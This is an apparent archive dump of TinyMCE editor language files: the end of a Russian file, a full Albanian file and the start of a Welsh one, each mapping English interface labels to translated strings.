"Medium Blue": "\u0421\u0440\u0435\u0434\u043d\u0438\u0439 \u0441\u0438\u043d\u0438\u0439",
"Medium Purple": "\u0423\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u043f\u0443\u0440\u043f\u0443\u0440\u043d\u044b\u0439",
"Midnight Blue": "\u0427\u0435\u0440\u043d\u043e-\u0441\u0438\u043d\u0438\u0439",
"Yellow": "\u0416\u0435\u043b\u0442\u044b\u0439",
"Orange": "\u041e\u0440\u0430\u043d\u0436\u0435\u0432\u044b\u0439",
"Red": "\u041a\u0440\u0430\u0441\u043d\u044b\u0439",
"Light Gray": "\u0421\u0432\u0435\u0442\u043b\u043e-\u0441\u0435\u0440\u044b\u0439",
"Gray": "\u0421\u0435\u0440\u044b\u0439",
"Dark Yellow": "\u0422\u0435\u043c\u043d\u043e-\u0436\u0435\u043b\u0442\u044b\u0439",
"Dark Orange": "\u0422\u0435\u043c\u043d\u043e-\u043e\u0440\u0430\u043d\u0436\u0435\u0432\u044b\u0439",
"Dark Red": "\u0422\u0435\u043c\u043d\u043e-\u043a\u0440\u0430\u0441\u043d\u044b\u0439",
"Medium Gray": "\u0423\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u0441\u0435\u0440\u044b\u0439",
"Dark Gray": "\u0422\u0435\u043c\u043d\u043e-\u0441\u0435\u0440\u044b\u0439",
"Light Green": "\u0421\u0432\u0435\u0442\u043b\u043e-\u0437\u0435\u043b\u0435\u043d\u044b\u0439",
"Light Yellow": "\u0421\u0432\u0435\u0442\u043b\u043e-\u0436\u0435\u043b\u0442\u044b\u0439",
"Light Red": "\u0421\u0432\u0435\u0442\u043b\u043e-\u043a\u0440\u0430\u0441\u043d\u044b\u0439",
"Light Purple": "\u0421\u0432\u0435\u0442\u043b\u043e-\u0444\u0438\u043e\u043b\u0435\u0442\u043e\u0432\u044b\u0439",
"Light Blue": "\u0421\u0432\u0435\u0442\u043b\u043e-\u0441\u0438\u043d\u0438\u0439",
"Dark Purple": "\u0422\u0435\u043c\u043d\u043e-\u0444\u0438\u043e\u043b\u0435\u0442\u043e\u0432\u044b\u0439",
"Dark Blue": "\u0422\u0435\u043c\u043d\u043e-\u0441\u0438\u043d\u0438\u0439",
"Black": "\u0427\u0435\u0440\u043d\u044b\u0439",
"White": "\u0411\u0435\u043b\u044b\u0439",
"Switch to or from fullscreen mode": "\u041f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u043e\u044d\u043a\u0440\u0430\u043d\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c",
"Open help dialog": "\u041e\u0442\u043a\u0440\u044b\u0442\u044c \u0441\u043f\u0440\u0430\u0432\u043a\u0443",
"history": "\u0438\u0441\u0442\u043e\u0440\u0438\u044f",
"styles": "\u0441\u0442\u0438\u043b\u0438",
"formatting": "\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435",
"alignment": "\u0432\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435",
"indentation": "\u043e\u0442\u0441\u0442\u0443\u043f",
"Font": "\u0428\u0440\u0438\u0444\u0442",
"Size": "\u0420\u0430\u0437\u043c\u0435\u0440",
"More...": "\u0411\u043e\u043b\u044c\u0448\u0435...",
"Select...": "\u0412\u044b\u0431\u0440\u0430\u0442\u044c...",
"Preferences": "\u041f\u0440\u0435\u0434\u043f\u043e\u0447\u0442\u0435\u043d\u0438\u044f",
"Yes": "\u0414\u0430",
"No": "\u041d\u0435\u0442",
"Keyboard Navigation": "\u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043b\u0430\u0432\u0438\u0430\u0442\u0443\u0440\u044b",
"Version": "\u0412\u0435\u0440\u0441\u0438\u044f",
"Code view": "\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440 \u043a\u043e\u0434\u0430",
"Open popup menu for split buttons": "\u041e\u0442\u043a\u0440\u044b\u0442\u044c \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u044e\u0449\u0435\u0435 \u043c\u0435\u043d\u044e \u0434\u043b\u044f \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u043a\u043d\u043e\u043f\u043e\u043a",
"List Properties": "\u0421\u043f\u0438\u0441\u043e\u043a \u0441\u0432\u043e\u0439\u0441\u0442\u0432",
"List properties...": "\u0421\u043f\u0438\u0441\u043e\u043a \u0441\u0432\u043e\u0439\u0441\u0442\u0432...",
"Start list at number": "\u041d\u0430\u0447\u0430\u0442\u044c \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044e \u0441",
"Line height": "\u0412\u044b\u0441\u043e\u0442\u0430 \u0441\u0442\u0440\u043e\u043a\u0438",
"comments": "\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438",
"Format Painter": "\u0424\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e \u043e\u0431\u0440\u0430\u0437\u0446\u0443",
"Insert\/edit iframe": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c\/\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u043b\u0435\u043c\u0435\u043d\u0442 iframe",
"Capitalization": "\u041f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043f\u0438\u0441\u043d\u044b\u0445 \u0431\u0443\u043a\u0432",
"lowercase": "\u043d\u0438\u0436\u043d\u0438\u0439 \u0440\u0435\u0433\u0438\u0441\u0442\u0440",
"UPPERCASE": "\u0412\u0415\u0420\u0425\u041d\u0418\u0419 \u0420\u0415\u0413\u0418\u0421\u0422\u0420",
"Title Case": "\u0420\u0435\u0433\u0438\u0441\u0442\u0440 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f",
"permanent pen": "\u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e\u0435 \u043f\u0435\u0440\u043e",
"Permanent Pen Properties": "\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043f\u0435\u0440\u043c\u0430\u043d\u0435\u043d\u0442\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0430",
"Permanent pen properties...": "\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043f\u0435\u0440\u043c\u0430\u043d\u0435\u043d\u0442\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0430...",
"case change": "\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430",
"page embed": "\u0432\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443",
"Advanced sort...": "\u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u0430\u044f \u0441\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u043a\u0430...",
"Advanced Sort": "\u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u0430\u044f \u0441\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u043a\u0430",
"Sort table by column ascending": "\u0421\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u043a\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u044b \u043f\u043e \u0441\u0442\u043e\u043b\u0431\u0446\u0443 \u043f\u043e \u0432\u043e\u0437\u0440\u0430\u0441\u0442\u0430\u043d\u0438\u044e",
"Sort table by column descending": "\u0421\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u043a\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u044b \u043f\u043e \u0441\u0442\u043e\u043b\u0431\u0446\u0443 \u043f\u043e \u0443\u0431\u044b\u0432\u0430\u043d\u0438\u044e",
"Sort": "\u0421\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c",
"Order": "\u041f\u043e\u0440\u044f\u0434\u043e\u043a",
"Sort by": "\u0421\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e",
"Ascending": "\u041f\u043e \u0432\u043e\u0437\u0440\u0430\u0441\u0442\u0430\u043d\u0438\u044e",
"Descending": "\u041f\u043e \u0443\u0431\u044b\u0432\u0430\u043d\u0438\u044e",
"Column {0}": "\u0421\u0442\u043e\u043b\u0431\u0435\u0446 {0}",
"Row {0}": "\u0421\u0442\u0440\u043e\u043a\u0430 {0}",
"Spellcheck...": "\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u0430\u0432\u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f...",
"Misspelled word": "\u0421\u043b\u043e\u0432\u043e \u0441 \u043e\u0448\u0438\u0431\u043a\u043e\u0439",
"Suggestions": "\u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f",
"Change": "\u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c",
"Finding word suggestions": "\u041f\u043e\u0438\u0441\u043a \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043e\u043a \u0434\u043b\u044f \u0441\u043b\u043e\u0432\u0430",
"Success": "\u0423\u0441\u043f\u0435\u0445",
"Repair": "\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c",
"Issue {0} of {1}": "\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 {0} \u0438\u0437 {1}",
"Images must be marked as decorative or have an alternative text description": "\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u044b \u0434\u0435\u043a\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u0438\u043b\u0438 \u0434\u043e\u043b\u0436\u043d\u044b \u0438\u043c\u0435\u0442\u044c \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435",
"Images must have an alternative text description. Decorative images are not allowed.": "\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0434\u043e\u043b\u0436\u043d\u044b \u0438\u043c\u0435\u0442\u044c \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435. \u0414\u0435\u043a\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043d\u0435\u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b.",
"Or provide alternative text:": "\u0418\u043b\u0438 \u0443\u043a\u0430\u0436\u0438\u0442\u0435 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435:",
"Make image decorative:": "\u041e\u0442\u043c\u0435\u0442\u0438\u0442\u044c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u043a\u0430\u043a \u0434\u0435\u043a\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0435:",
"ID attribute must be unique": "\u0410\u0442\u0440\u0438\u0431\u0443\u0442 ID \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u043c",
"Make ID unique": "\u0421\u0434\u0435\u043b\u0430\u0442\u044c \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u043c:",
"Keep this ID and remove all others": "\u041e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0438 \u0443\u0431\u0440\u0430\u0442\u044c \u0432\u0441\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435",
"Remove this ID": "\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u044d\u0442\u043e\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440",
"Remove all IDs": "\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0432\u0441\u0435 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b",
"Checklist": "\u0421\u043f\u0438\u0441\u043e\u043a \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438",
"Anchor": "\u042f\u043a\u043e\u0440\u044c",
"Special character": "\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u044b",
"Code sample": "\u041f\u0440\u0438\u043c\u0435\u0440 \u043a\u043e\u0434\u0430",
"Color": "\u0426\u0432\u0435\u0442",
"Document properties": "\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430",
"Image description": "\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f",
"Image": "\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f",
"Insert link": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443",
"Target": "\u041e\u0442\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443",
"Link": "\u0421\u0441\u044b\u043b\u043a\u0430",
"Poster": "\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435",
"Media": "\u0412\u0438\u0434\u0435\u043e",
"Print": "\u041f\u0435\u0447\u0430\u0442\u044c",
"Prev": "\u0412\u0432\u0435\u0440\u0445",
"Find and replace": "\u041f\u043e\u0438\u0441\u043a \u0438 \u0437\u0430\u043c\u0435\u043d\u0430",
"Whole words": "\u0421\u043b\u043e\u0432\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c",
"Insert template": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d"
});PK
h�\춖C))program/js/tinymce/langs/sq.jsnu�[���tinymce.addI18n('sq',{
"Cut": "prerje",
"Heading 5": "titull 5",
"Header 2": "titull 2",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Shfletuesi juaj nuk supurton qasje t\u00eb drejtp\u00ebrdrejt\u00eb n\u00eb clipboard. Ju lutemi p\u00ebrdorni Ctrl+X\/C\/V shkurtesat e tastier\u00ebs n\u00eb vend. ",
"Heading 4": "titull 4",
"Div": "ndarje",
"Heading 2": "titull 2",
"Paste": "ngjit",
"Close": "Mbylle",
"Font Family": "soj g\u00ebrmave",
"Pre": "para",
"Align right": "Radhit djathtas",
"New document": "Dokument i ri",
"Blockquote": "citat",
"Numbered list": "list\u00eb e num\u00ebruara",
"Heading 1": "titull 1",
"Headings": "titull",
"Increase indent": "rrit gjurm\u00eb",
"Formats": "form\u00eb",
"Headers": "titull",
"Select all": "Selektoj t\u00eb gjitha",
"Header 3": "titull 3",
"Blocks": "bllok",
"Undo": "Anuloj",
"Strikethrough": "Vij\u00eb nga",
"Bullet list": "list\u00eb plumb",
"Header 1": "titull 1",
"Superscript": "indeks i sip\u00ebrm",
"Clear formatting": "spastroj formate",
"Font Sizes": "p\u00ebrmasa e germave",
"Subscript": "Indeksin e",
"Header 6": "titull 6",
"Redo": "rib\u00ebj",
"Paragraph": "paragraf",
"Ok": "Ok",
"Bold": "i zi",
"Code": "kod",
"Italic": "kursiv",
"Align center": "Radhit n\u00eb mes",
"Header 5": "titull 5",
"Heading 6": "titull 6",
"Heading 3": "titull 3",
"Decrease indent": "ulja gjurm\u00eb",
"Header 4": "titull 4",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.",
"Underline": "n\u00ebnvizoj",
"Cancel": "Moho",
"Justify": "justifikuar",
"Inline": "nj\u00ebshkolon\u00eb",
"Copy": "kopjoj",
"Align left": "Radhit majtas",
"Visual aids": "ndihm\u00ebsit vizuale",
"Lower Greek": "Lower Greek",
"Square": "Katror",
"Default": "Default",
"Lower Alpha": "Lower Alpha",
"Circle": "Rreth",
"Disc": "Disc",
"Upper Alpha": "Upper Alpha",
"Upper Roman": "Upper Roman",
"Lower Roman": "Lower Roman",
"Name": "Emri",
"Anchor": "Anchor",
"You have unsaved changes are you sure you want to navigate away?": "You have unsaved changes are you sure you want to navigate away?",
"Restore last draft": "Restore last draft",
"Special character": "Karakter i veqant",
"Source code": "Kodi burimor",
"B": "Kalt\u00ebr",
"R": "Kuqe",
"G": "Gjelb\u00ebr",
"Color": "Ngjyra",
"Right to left": "Nga e djathta n\u00eb t\u00eb majt\u00eb",
"Left to right": "Nga e majta n\u00eb t\u00eb djatht\u00eb",
"Emoticons": "Emoticons",
"Robots": "Robot\u00ebt",
"Document properties": "Vetit\u00eb e dokumentit",
"Title": "Titulli",
"Keywords": "Fjal\u00ebt kyqe",
"Encoding": "Encoding",
"Description": "Description",
"Author": "Autori",
"Fullscreen": "Fullscreen",
"Horizontal line": "Vij\u00eb horizontale",
"Horizontal space": "Hapsir\u00eb horizontale",
"Insert\/edit image": "Shto\/ndrysho imazh",
"General": "General",
"Advanced": "T\u00eb p\u00ebrparuar",
"Source": "Burimi",
"Border": "Border",
"Constrain proportions": "Constrain proportions",
"Vertical space": "Hapsir\u00eb vertikale",
"Image description": "P\u00ebrshkrimi i imazhit",
"Style": "Stili",
"Dimensions": "Dimensions",
"Insert image": "Shto imazh",
"Zoom in": "Zoom in",
"Contrast": "Contrast",
"Back": "Back",
"Gamma": "Gamma",
"Flip horizontally": "Flip horizontally",
"Resize": "Resize",
"Sharpen": "Sharpen",
"Zoom out": "Zoom out",
"Image options": "Image options",
"Apply": "Apply",
"Brightness": "Brightness",
"Rotate clockwise": "Rotate clockwise",
"Rotate counterclockwise": "Rotate counterclockwise",
"Edit image": "Edit image",
"Color levels": "Color levels",
"Crop": "Crop",
"Orientation": "Orientation",
"Flip vertically": "Flip vertically",
"Invert": "Invert",
"Insert date\/time": "Insert date\/time",
"Remove link": "Remove link",
"Url": "Url",
"Text to display": "Text to display",
"Anchors": "Anchors",
"Insert link": "Insert link",
"New window": "New window",
"None": "None",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?",
"Target": "Target",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?",
"Insert\/edit link": "Insert\/edit link",
"Insert\/edit video": "Insert\/edit video",
"Poster": "Poster",
"Alternative source": "Alternative source",
"Paste your embed code below:": "Paste your embed code below:",
"Insert video": "Insert video",
"Embed": "Embed",
"Nonbreaking space": "Nonbreaking space",
"Page break": "Page break",
"Paste as text": "Paste as text",
"Preview": "Preview",
"Print": "Print",
"Save": "Save",
"Could not find the specified string.": "Could not find the specified string.",
"Replace": "Replace",
"Next": "Next",
"Whole words": "Whole words",
"Find and replace": "Find and replace",
"Replace with": "Replace with",
"Find": "Find",
"Replace all": "Replace all",
"Match case": "Match case",
"Prev": "Prev",
"Spellcheck": "Spellcheck",
"Finish": "Finish",
"Ignore all": "Ignore all",
"Ignore": "Ignore",
"Add to Dictionary": "Add to Dictionary",
"Insert row before": "Insert row before",
"Rows": "Rows",
"Height": "Height",
"Paste row after": "Paste row after",
"Alignment": "Alignment",
"Border color": "Border color",
"Column group": "Column group",
"Row": "Row",
"Insert column before": "Insert column before",
"Split cell": "Split cell",
"Cell padding": "Cell padding",
"Cell spacing": "Cell spacing",
"Row type": "Row type",
"Insert table": "Insert table",
"Body": "Body",
"Caption": "Caption",
"Footer": "Footer",
"Delete row": "Delete row",
"Paste row before": "Paste row before",
"Scope": "Scope",
"Delete table": "Delete table",
"H Align": "H Align",
"Top": "Top",
"Header cell": "Header cell",
"Column": "Column",
"Row group": "Row group",
"Cell": "Cell",
"Middle": "Middle",
"Cell type": "Cell type",
"Copy row": "Copy row",
"Row properties": "Row properties",
"Table properties": "Table properties",
"Bottom": "Bottom",
"V Align": "V Align",
"Header": "Header",
"Right": "Right",
"Insert column after": "Insert column after",
"Cols": "Cols",
"Insert row after": "Insert row after",
"Width": "Width",
"Cell properties": "Cell properties",
"Left": "Left",
"Cut row": "Cut row",
"Delete column": "Delete column",
"Center": "Center",
"Merge cells": "Merge cells",
"Insert template": "Insert template",
"Templates": "Templates",
"Background color": "Background color",
"Custom...": "Custom...",
"Custom color": "Custom color",
"No color": "No color",
"Text color": "Text color",
"Show blocks": "Show blocks",
"Show invisible characters": "Show invisible characters",
"Words: {0}": "Words: {0}",
"Insert": "Insert",
"File": "File",
"Edit": "Edit",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help",
"Tools": "Tools",
"View": "View",
"Table": "Table",
"Format": "Format"
});PK
h�\�8
A
Aprogram/js/tinymce/langs/cy.jsnu�[���tinymce.addI18n('cy',{
"Redo": "Ailwneud",
"Undo": "Dadwneud",
"Cut": "Torri",
"Copy": "Cop\u00efo",
"Paste": "Gludo",
"Select all": "Dewis popeth",
"New document": "Dogfen newydd",
"Ok": "Iawn",
"Cancel": "Canslo",
"Visual aids": "Cymorth gweledol",
"Bold": "Trwm",
"Italic": "Italig",
"Underline": "Tanlinellu",
"Strikethrough": "Llinell drwodd",
"Superscript": "Uwchsgript",
"Subscript": "Is-sgript",
"Clear formatting": "Clirio pob fformat",
"Align left": "Aliniad chwith",
"Align center": "Aliniad canol",
"Align right": "Aliniad de",
"Justify": "Unioni",
"Bullet list": "Rhestr fwled",
"Numbered list": "Rhestr rifol",
"Decrease indent": "Lleihau mewnoliad",
"Increase indent": "Cynyddu mewnoliad",
"Close": "Cau",
"Formats": "Fformatau",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Dyw eich porwr ddim yn cynnal mynediad uniongyrchol i'r clipfwrdd. Yn hytrach defnyddiwch y bysellau llwybrau byr Ctrl+X\/C\/V.",
"Headers": "Penawdau",
"Header 1": "Pennawd 1",
"Header 2": "Pennawd 2",
"Header 3": "Pennawd 3",
"Header 4": "Pennawd 4",
"Header 5": "Pennawd 5",
"Header 6": "Pennawd 6",
"Headings": "Penawdau",
"Heading 1": "Pennawd 1",
"Heading 2": "Pennawd 2",
"Heading 3": "Pennawd 3",
"Heading 4": "Pennawd 4",
"Heading 5": "Pennawd 5",
"Heading 6": "Pennawd 6",
"Preformatted": "Wedi ei rag-fformatio",
"Div": "Div",
"Pre": "Pre",
"Code": "Cod",
"Paragraph": "Paragraff",
"Blockquote": "Dyfyniad Bloc",
"Inline": "Mewnlin",
"Blocks": "Blociau",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Mae gludo nawr yn gweithio yn y modd testun plaen.  Caiff testun plaen ei ludo nawr tan gaiff yr opsiwn ei doglo i'w ddiffodd.",
"Fonts": "Ffontau",
"Font Sizes": "Meintiau Ffont",
"Class": "Dosbarth",
"Browse for an image": "Pori am ddelwedd",
"OR": "NEU",
"Drop an image here": "Gollwng delwedd yma",
"Upload": "Uwchlwytho",
"Block": "Bloc",
"Align": "Alinio",
"Default": "Diofyn",
"Circle": "Cylch",
"Disc": "Disg",
"Square": "Sgw\u00e2r",
"Lower Alpha": "Alffa Is",
"Lower Greek": "Groeg Is",
"Lower Roman": "Rhufeinig Is",
"Upper Alpha": "Alffa Uwch",
"Upper Roman": "Rhufeinig Uwch",
"Anchor...": "Angor...",
"Name": "Enw",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Dylai Id gychwyn gyda llythyren ac yna dim ond llythrennau, rhifau, llinellau toriad,dotiau, colonau neu danlinellau.",
"You have unsaved changes are you sure you want to navigate away?": "Mae newidiadau heb eu cadw - ydych chi wir am symud i ffwrdd?",
"Restore last draft": "Adfer y drafft olaf",
"Special character...": "Nod arbennig...",
"Source code": "Cod gwreiddiol",
"Insert\/Edit code sample": "Mewnosod\/golygu sampl cod",
"Language": "Iaith",
"Code sample...": "Sampl cod...",
"Color Picker": "Dewisydd Lliw",
"R": "C",
"G": "Gw",
"B": "Gl",
"Left to right": "Chwith i'r dde",
"Right to left": "De i'r chwith",
"Emoticons": "Gwenogluniau",
"Emoticons...": "Gwenogluniau...",
"Metadata and Document Properties": "Metaddata a Priodweddau'r ddogfen",
"Title": "Teitl",
"Keywords": "Allweddeiriau",
"Description": "Disgrifiad",
"Robots": "Robotiaid",
"Author": "Awdur",
"Encoding": "Amgodiad",
"Fullscreen": "Sgrin llawn",
"Action": "Gweithred",
"Shortcut": "Llwybr Byr",
"Help": "Help",
"Address": "Cyfeiriad",
"Focus to menubar": "Ffocws i'r bar dewislen",
"Focus to toolbar": "Ffocws i'r bar offer",
"Focus to element path": "Ffocws i lwybr elfen",
"Focus to contextual toolbar": "Ffocws i far offer y cyd-destun",
"Insert link (if link plugin activated)": "Mewnosod dolen (os yw'r ategyn dolen yn weithredol)",
"Save (if save plugin activated)": "Cadw (os yw'r ategyn cadw yn weithredol)",
"Find (if searchreplace plugin activated)": "Canfod (os yw'r ategyn chwilio ac amnewid yn weithredol)",
"Plugins installed ({0}):": "Ategio wedi eu gosod ({0}):",
"Premium plugins:": "Ategion premiwm:",
"Learn more...": "Dysgu Mwy...",
"You are using {0}": "Rydych yn defnyddio {0}",
"Plugins": "Ategion",
"Handy Shortcuts": "Llwybrau byr cyfleus",
"Horizontal line": "Llinell lorweddol",
"Insert\/edit image": "Mewnosod\/golygu delwedd",
"Alternative description": "Disgrifiad arall",
"Accessibility": "Hygyrchedd",
"Image is decorative": "Delwedd yn addurniadol",
"Source": "Ffynhonnell",
"Dimensions": "Dimensiynau",
"Constrain proportions": "Gorfodi cyfrannedd",
"General": "Cyffredinol",
"Advanced": "Uwch",
"Style": "Arddull",
"Vertical space": "Gofod fertigol",
"Horizontal space": "Gofod llorweddol",
"Border": "Border",
"Insert image": "Mewnosod delwedd",
"Image...": "Delwedd...",
"Image list": "Rhestr delweddau",
"Rotate counterclockwise": "Troi gwrthgloc",
"Rotate clockwise": "Troi clocwedd",
"Flip vertically": "Fflipio fertigol",
"Flip horizontally": "Fflipio llorweddol",
"Edit image": "Golygu delwedd",
"Image options": "Dewisiadau delwedd",
"Zoom in": "Chwyddo mewn",
"Zoom out": "Chwyddo allan",
"Crop": "Tocio",
"Resize": "Ailfeintio",
"Orientation": "Cyfeiriadaeth",
"Brightness": "Disgleirdeb",
"Sharpen": "Hogi",
"Contrast": "Cyferbynnedd",
"Color levels": "Lefelau Lliw",
"Gamma": "Gamma",
"Invert": "Gwrthdroi",
"Apply": "Rhoi ar waith",
"Back": "Nol",
"Insert date\/time": "Mewnosod dyddiad\/amser",
"Date\/time": "Dyddiad\/amser",
"Insert\/edit link": "Mewnosod\/golygu dolen",
"Text to display": "Testun i'w ddangos",
"Url": "Url",
"Open link in...": "Agor dolen yn...",
"Current window": "Ffenestr gyfredol",
"None": "Dim",
"New window": "Ffenest newydd",
"Open link": "Agor dolen",
"Remove link": "Tynnu dolen",
"Anchors": "Angorau",
"Link...": "Dolen...",
"Paste or type a link": "Pastio neu deipio dolen",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "Mae'n debyg mai cyfeiriad e-bost yw'r URL hwn. Ydych chi am ychwanegu'r rhagddoddiad mailto:?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "Mae'n debyg mai dolen allanol yw'r URL hwn. Ydych chi am ychwanegu'r rhagddodiad http:\/\/ ?",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "Ymddengys mai dolen allannol yw'r URL a roddoch chi. Ydych chi eisiau ychwanegu'r rhagddodiad https:\/\/ gofynnol?",
"Link list": "Rhestr dolenni",
"Insert video": "Mewnosod fideo",
"Insert\/edit video": "Mewnosod\/golygu fideo",
"Insert\/edit media": "Mewnosod\/golygu cyfrwng",
"Alternative source": "Ffynhonnell amgen",
"Alternative source URL": "Ffynhonnell URL arall",
"Media poster (Image URL)": "Poster cyfrwng (URL delwedd)",
"Paste your embed code below:": "Gludwch eich cod mewnosod isod:",
"Embed": "Mewnosod",
"Media...": "Cyfrwng...",
"Nonbreaking space": "Bwlch heb dorri",
"Page break": "Toriad tudalen",
"Paste as text": "Gludo fel testun",
"Preview": "Rhagolwg",
"Print...": "Argraffu...",
"Save": "Cadw",
"Find": "Chwilio",
"Replace with": "Amnewid gyda",
"Replace": "Amnewid",
"Replace all": "Amnewid y cwbl",
"Previous": "Blaenorol",
"Next": "Nesaf",
"Find and Replace": "Canfod a Newid",
"Find and replace...": "Chwilio ac amnewid",
"Could not find the specified string.": "Methu ffeindio'r llinyn hwnnw.",
"Match case": "Cas yn cyfateb",
"Find whole words only": "Canfod geiriau llawn yn unig",
"Find in selection": "Canfod yn y dewisiad",
"Spellcheck": "Sillafydd",
